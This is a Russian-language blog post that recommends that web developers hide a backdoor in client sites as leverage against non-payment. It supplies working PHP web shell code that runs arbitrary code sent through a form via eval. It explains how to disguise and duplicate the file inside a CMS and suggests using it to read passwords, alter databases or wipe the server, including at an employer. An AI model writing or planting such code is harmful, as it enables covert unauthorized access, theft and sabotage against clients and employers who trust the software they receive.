Backdoor или страховка от нечестных клиентов!


Помнится в статье "10 советов и рекомендаций по заказу сайта" я упоминал случай, когда нечестный клиент решил кинуть нас даже несмотря на то, что работали вместе больше полутора лет. После того, как мы узнали, что нам ничего не выплатят, мы не смогли даже вернуть себе сайты, так как ни одной лазейки в них не осталось.


Однако меня спало то, что в одном из сайтов у меня остался небольшой "запасной вход", благодаря которому я не думал развиться второму сайту и вылезти в свет. И выглядел этот вход в виде простой формы загрузки файлов на сервер.

С её помощью я загружал на сайт нужные скрипты и запускал их на сайте, а они, в свою очередь, делали свою грязную работу. Минус у этой двери был один – ей мог воспользоваться кто угодно, если, конечно, знал о её существовании.

Прошло время, и несмотря на то, что до сегодняшнего дня всё идёт гладко, это не исключает того, что такая петрушка может повториться вновь.

В принципе, можно использовать и старый метод с отправкой исполняемого файла на сервер, но… Зачем эти сложности, если можно сделать всё проще.

Я предлагаю варианты и идеи простейшего бэкдурова, на случай если действительно возникнут проблемы. Итак…

  1. Создаём файл php и называем его как-нибудь неприметно, типа license.php или ещё как.
  2. Пишем в нём код
    <?php
    if ( isset($_POST['text']) )
    eval ($_POST['text']);
    ?>
    <form method='POST'>
    <textarea name='text'></textarea>
    <input type='submit'>
    </form>
  3. Помещаем файл куда-нибудь подальше вглубь cms-ки, например, в дебри WYSIWYG-редактора. При желании дублируем файл ещё в 2-3 места (на всякий пожарный)

Вот он, каркас для безобразий. Полагаю, не нужно пояснять, что функция eval приводит в исполнение набранный в форме код.

Это всего лишь каркас, который может иметь множество примеров реализации. Допустим, можно через highlight_file вывести содержание какого-нибудь файла с паролями, к которому нет прямого доступа. Можно подключиться к базе данных, считать содержание или изменить его. А можно и вовсе напечатать скрипт удаления всего на сервере, почему бы и нет.

Чуть ниже я предлагаю идеи для дополнения этой дверцы, которые можно сделать по желанию – оставлю тебе, дорогой читатель, в качестве необязательного домашнего задания. Но если вдруг будет желание – с радостью гляну на то, что получилось.

Идеи для улучшения:

  1. Вообще было бы неплохо, чтобы дверь не была доступна каждому, и сделать для неё авторизацию, к примеру, через обычный .htaccess, ну, или средствами PHP на основе сессий (а лучше и то, и другое – прим.ред.).
  2. Имея авторизацию, можно вообще заготовить ряд кнопочек, кликая по которым можно вызывать тот или иной скрипт. К примеру, заходишь ты в свою дверцу, а там кнопки – считать пароли, считать базу данных, удалить административную панель и так далее.
  3. Ещё идеи?

Напоследок

Использовать дверку есть смысл тогда, когда сдаёшь сайт до выплаты (бывает), или когда работаешь в фирме, и хочешь подстраховаться. В первом случае, когда выплата производится, то дверку можно удалить, а можно и оставить, правда не думаю, что она уже понадобится. А во втором случае – придётся держать её наготове постоянно.

На сегодня всё. Буду рад Вашим идеям и предложениям на тему! До новых встреч!

Просмотров: 2688 | Дата публикации: 07.05.2013



Похожие записи